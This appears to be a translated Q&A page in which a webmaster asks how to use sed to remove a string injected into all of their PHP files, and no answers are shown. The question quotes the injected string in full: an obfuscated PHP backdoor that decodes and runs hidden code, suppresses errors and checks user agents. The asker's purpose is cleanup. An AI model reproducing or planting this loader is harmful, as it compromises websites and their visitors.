从所有PHP文件中删除注入的代码字符串

时间:2017-06-28 23:19:03

标签: php sed

有人在我的网络服务器的所有php页面中注入了很长的代码:/我希望有一种方法可以立即从我的所有php文件中删除这个确切的字符串,但我无法弄清楚如何用sed来做(可能是因为我没有正确地逃避一切)。这是我需要删除的确切字符串:

<?php $ydhjmf = 'qj%7>  x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA  x273qj%6<*Y%1L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%<Cw6<pd%w6Z6<.5`hA   x27pd%6<pd%w6Z6<.4`hA   x27pd%6ujpo!    x24-    x24y7   x24-    x2]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]t!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+q**9.-j%-bubE{h%)sutcvt)fubmgoUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoo)fnbozcYufhA  x272qj%6<^#zsfvr#   x5cq%7/7#@#7/7^#iubq#   x5cq%   x27jsvsbz)#P#-#Q#-#B#-#T#-#/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:ERVER[" x48 124 x54 120 x5f 125 x53>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<y3e]81]K78:56985:6197g:74985-rr.93e:5597ft`msvd},;uqpuft`msvd}+;!>!}  x27;x24)##-!#~<#/%  x24-    x24!>!fyqmpef)# x24*<!%t::!>!   x24Ypp<pd%w6Z6<.3`hA    x27pd%6<pd%w6Z6<.S,6<*msv%7-MSV,6<*)ujojR   x4P8]37]278]225]241]334]368]322fI{*w%)kVx{**#k#)tutjyf`x    x22l:!hrqm = implode(array_map("elaimma",str_split("%tjw!>!#]y84%!-uyfu%)3of)fepdof`57ftbc  x7f!|!*uyfu x27k:!ftmf!}Z;~9{d%:osvufs:~928>>   x22:ftmbg2#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h!<##!>!2p%Z<^2  x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO    x2!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]ldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuf]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w: 163 x74 141 x72 164") && (!id   x27,*c  x27,*b  x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`u!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s:  x5c%j:^<!%w`    x5q%>2q%<#g6R85,67R37,18R#>q%sset($GLOBALS["    x61 156 x75 156 x61"])))) { $GLOBALS[#>q%<#762]67y]562]38y]572]48x5c%j^ x24-    x24tvctus)% x24-    x   156 x64 162 x6f 151 x64")) or (strstr($uas,"    x63 150 x7B)fubfsdXA    x27K6<  x7fw6*399386c6f+9f5d816:+946:ce44:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<hnpd!opjudovg!|!**#j{hnpd#)tut,47R25,d7R17,67R37,#/V<*#fopoV;hojepdoF.uofuopD#)sfebsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd   x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFstr($uas,"    x72 166 x3a 61  x31")) or (strstr($uas,"    x615]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2PjZ<#opo#>b%!**X)ufttj   x22)gj2 157 x6d 145")) or (strstr($uas  x24-    x24y4   x24-    x24]y8  x24-    x24]26  x24-    x24<%j,,*!| x24-    x24gvodx5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**%6<C>^#zsfvr#    x5cq%7**^#zsfvr#    x5cq%)uf82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]D24b!>!%yy)#}#-# x24-    x24-tusqpt)%z-#:#*  x24-    x24!>!  x24/%tjw/   x24)%,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#p4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]K{ftmfV x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*w%)ppde>u%V<#65,"  x66 151 x72 145 x66 157 x78"))) { &6<*rfs%7-K)fujsxX6<#o]o]Y%7;ut<  x7fw6*  x7f_*#[k2`{6:!}7;!}6gP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]27y]#>m%:|:*r%:-t%)3of:opmw/    x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SF2`hA x27pd%6<C   x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf  x27*&7  x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<   x~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]3n>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusuttj    x22)gj6<^#Y#    x5cq%   x27Y%6<.msv`ftsbqA7>q%6<    x7fw6*  x7f_*#fubfsdX9  157 x6e"; function elaimma($n){return chr(ord(7]88y]27]28y]#/r%/h%)n%-#+I#)q%:>y)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88My]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{-n%)utjm6<    x7fw6*CW&)7gm); $lglnmkh();}}<%j=tj{fpg)%   x24-    x24*<!~!    x24/%t2w/   -s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5q%>U<#16,47R57,27R66,#/t)esp>hmg%!<12>j%!|!*#91y]c9y]g2)!gj!<2,*j%!-#1]#-bubE{h$n)-1);} @error_reporting(0); $fyo%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f  x27,*e  x27,*WYsboepn)%bss-%rxB%h>#]y31]278]$idvvdcl = "    x63 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x6pjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<TV`QUUI&b%!|!*)323zbek!~!<b%   x7f!<X>b%Z<#opo#>b%!*##>>X)!gjudovg<~   x24<!%o:!>! x242178}527}88:}3!|!*nbsbq%)323ldfidk!~!<**qp48]32M3]317]445]212]445];$lglnmkh = $idvvdcl("", $fyohrq^nbsbq%    x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)5#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&pI#7>/7rfs%6<#o]1/20Q7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA    x27doj%6<!>>>!}_;gvc%}&;ftmbg}  x7f;!osvufs}w;* x7f!>>  x22!pd%)!gj}Z;h!o   105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas,"  t>j%!*9!    x27!hmg%)!gj!~<ofmy%,33)%cB%iN}#-!  x24/%tmw/   x24)%]+^?]_ x5c}X   x24<!%tmw!>!#]y84]275]y83]273]y76]277#<[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44e}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)ggj!<**2-4-bubE{h%)sutcv!gj<*#k#)usbut`cpV   x7f x7f x7f x7f<u%V x27if((function_exists("    x6f 142 x5f%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsu27id%6<   x7fw6*  x7f_*#ujojRk3`{666~6<&w6<   x7fw6*CW&)7gj6<.[A  x27&6pdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>    x22!ftmbg)jyf`opjudovg  x22)!gj}1~!<2p% x7f!~c*W%eN+#Qi x5c1^W%c!>!%i   x5c2^<!Ce*pde#)tutjyf`4 x223}!+!<+{e%+*!*+fez>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bsj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX    x27u%)7fmjix6<C x27!>!(%w:!>!   x246767~67f#<!%tww!>!   x2400~:<h%_t%:osvufs:-#2#/#%#/#o]#/*)323zbe!-#jt0*?k5`{66~6<&w6<    x7fw6*CWojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+c]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fd!%ff2-!%t::**<(<!fwbm)%tjw)#   x24#-!#]y38#-!%w:**<")))4l} x27;%!<*#}_;#)323ldfid>}&;!osvufs}  x7f;!opjudovg}k~E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-j{hA!osvufs!~<3,j%>j%!*3!   x27!hmg%!4*<!   x24-    x24gps)%j>1;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufc:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*j}l;33bq}k;opjudovg}x;0]=])0#)U!   x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!pdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`G" x61 156 x75 156 x61"]=1; $uas=strtolower($_S43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss    x5csboe))1*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!34}472  x24<!%ff2!>!bssbz)  x24]25  x24-    x24-!%  x24-    x24*!|! x24-    x24 <!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!  x24/%tx6d   163 x69 145")) or (strStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSbygtzy'; $jliuxajb=explode(chr((687-567)),substr($ydhjmf,(35855-29835),(173-139))); $cmdzwc = $jliuxajb[0]($jliuxajb[(6-5)]); $wkaice = $jliuxajb[0]($jliuxajb[(9-7)]); if (!function_exists('truxnemf')) { function truxnemf($xqcvtee, $rauwtsay,$lysgojb) { $gzregwv = NULL; for($qdalqaj=0;$qdalqaj<(sizeof($xqcvtee)/2);$qdalqaj++) { $gzregwv .= substr($rauwtsay, $xqcvtee[($qdalqaj*2)],$xqcvtee[($qdalqaj*2)+(3-2)]); } return $lysgojb(chr((58-49)),chr((299-207)),$gzregwv); }; } $mknyxnfq = explode(chr((154-110)),'4641,33,1384,29,1562,53,5723,46,611,35,4298,56,5994,26,2083,54,1673,56,2206,32,2717,37,3716,63,3221,48,3602,34,938,58,1338,46,5067,20,184,48,818,32,2974,68,3381,23,5004,63,2754,31,4128,21,396,64,5680,43,1729,25,0,57,460,65,2363,39,3153,68,5151,22,4189,47,3042,35,4149,40,2028,55,850,26,4729,65,2785,29,5518,51,1295,43,730,32,4236,62,3779,67,367,29,5462,35,3578,24,4674,55,4354,31,2533,41,5836,42,4576,23,3546,32,3339,42,1836,30,4856,34,1121,62,1078,43,3636,49,1413,70,3114,39,319,48,1919,55,5173,58,1754,26,4090,38,2935,39,3846,58,2178,28,3942,28,996,53,4026,64,5351,55,1049,29,1974,54,2574,49,4925,34,4794,62,4599,42,2665,52,1866,21,3523,23,1535,27,1887,32,906,32,4515,61,5612,68,5121,30,4413,52,1183,65,5087,34,3077,37,3269,33,1780,56,1248,47,1615,28,2860,23,3904,38,5878,67,1643,30,2466,67,2238,65,232,24,5497,21,3421,37,762,56,4385,28,4890,35,4465,50,5569,43,5945,49,2883,52,2303,60,3685,31,689,41,3458,65,57,62,2402,64,2814,46,2137,41,2623,42,5231,67,3302,37,876,30,256,63,3970,24,5769,67,546,65,646,43,1483,52,119,65,4959,45,525,21,5406,56,5298,53,3994,32,3404,17'); $wmugto = $cmdzwc("",truxnemf($mknyxnfq,$ydhjmf,$wkaice)); $cmdzwc=$ydhjmf; $wmugto(""); $wmugto=(743-622); $ydhjmf=$wmugto-1; ?>

https://pastebin.com/M5vZdkbf

任何帮助都会非常感激。我真的不想手工编辑每个文件。

0 个答案:

没有答案